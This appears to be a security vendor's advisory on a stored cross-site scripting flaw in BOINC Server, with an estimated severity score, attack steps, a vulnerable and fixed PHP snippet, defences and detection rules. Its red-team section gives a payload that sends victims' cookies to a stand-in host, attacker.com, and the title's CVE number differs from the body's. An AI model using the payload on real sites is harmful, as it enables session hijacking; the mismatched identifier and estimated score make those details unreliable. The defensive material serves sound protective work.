CVE-2025-0666
Executive Summary
CVE-2025-0667 is a Stored Cross-Site Scripting (XSS) vulnerability in the BOINC Server application, affecting versions through 1.4.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This can lead to session hijacking, data theft, and further compromise of the BOINC infrastructure. No public proof-of-concept (PoC) or exploit code is currently available, and no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using BOINC Server.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects the BOINC Server application, which is typically deployed as a standalone web application.
CVSS Breakdown & Threat Level
The CVSS vector is not provided in the NVD data, but based on the description (Stored XSS), a reasonable assessment is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – attacker needs a user account to submit data
- User Interaction (UI): Required (R) – victim must view the malicious page
- Scope (S): Changed (C) – impacts resources beyond the vulnerable component
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS v3.1 Score: 5.4 (Medium)
Threat Level: Medium. While the vulnerability is not actively exploited (EPSS 0.0%), the impact of stored XSS can be severe in a collaborative environment like BOINC.
Deep Dive & Mechanics
The BOINC Server application fails to sanitize user input before storing it in a database and later rendering it in web pages. An attacker with a valid account can inject malicious JavaScript code into fields such as project descriptions, user profiles, or forum posts. When other users (including administrators) view the affected page, the script executes in their browser context, potentially stealing session cookies, redirecting to phishing sites, or performing actions on behalf of the victim.
Attack Flow:
- Attacker registers an account on the BOINC Server.
- Attacker submits a form (e.g., project description) containing a malicious payload like
<script>alert('XSS')</script>. - The server stores the payload in the database without sanitization.
- When an administrator or another user views the project page, the payload is rendered and executed.
- The attacker can then steal session tokens, deface the page, or perform other malicious actions.
Vulnerable vs. Patched Code
Vulnerable Code (BOINC Server <= 1.4.7):
// Example of unsanitized output
echo "<div>" . $user_input . "</div>";
Patched Code (Hypothetical fix):
// Properly escape output
echo "<div>" . htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8') . "</div>";
The vulnerability exists because user input is directly concatenated into HTML output without escaping. A proper fix would involve using output encoding functions like htmlspecialchars() in PHP or equivalent in other languages.
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit code is available, a manual exploitation approach is described:
- Setup: Deploy a vulnerable BOINC Server instance (version 1.4.7) in a lab environment.
- Payload: Use a simple JavaScript payload to steal cookies:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Injection: Submit the payload via a form field (e.g., project description) that is stored and displayed to other users.
- Trigger: Wait for an administrator to view the affected page. The script will execute and send the cookie to the attacker's server.
Note: This is for educational purposes only. Unauthorized exploitation is illegal.
Blue Team (Detection & Defense)
- Input Validation: Implement strict input validation on all user-supplied fields. Reject or sanitize any input containing HTML or JavaScript.
- Output Encoding: Use context-appropriate output encoding (e.g., HTML entity encoding) when rendering user data.
- Content Security Policy (CSP): Deploy a strict CSP header to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none' - Web Application Firewall (WAF): Use a WAF to block common XSS payloads.
- User Education: Train users to avoid clicking on suspicious links and to report unusual behavior.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing cookie data (e.g.,
GET /steal.php?cookie=...). - Logs: Unusual entries in web server logs with JavaScript payloads in POST parameters.
- File System: Presence of unexpected JavaScript files or modified templates on the server.
- Database: Stored XSS payloads in user-submitted fields (e.g.,
<script>tags in project descriptions).
Detection Engineering
YARA Rule
rule CVE_2025_0667_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting BOINC Server"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0667"
strings:
$xss1 = /<script[^>]*>.*<\/script>/si
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/si
$xss3 = /onload\s*=\s*["']?[^"']*["']?/si
condition:
any of them
}
Sigma Rule
title: Stored XSS Payload in BOINC Server
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects stored XSS payloads in BOINC Server logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0667 - Stored XSS Payload in BOINC Server"; flow:to_server; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If possible, upgrade to a patched version of BOINC Server (none available as of this report). Consider disabling user-submitted content features until a fix is applied.
- Workaround: Implement a reverse proxy with WAF capabilities to filter XSS payloads. Use a CSP header to restrict script execution.
- Long-term Fix: The vendor must release a patch that properly sanitizes user input and encodes output. In the meantime, apply manual code fixes as described in the "Vulnerable vs. Patched Code" section.
- Monitoring: Enable detailed logging and monitor for XSS indicators. Use the provided YARA, Sigma, and Suricata rules for detection.
Valters IT
Securing Digital Frontiers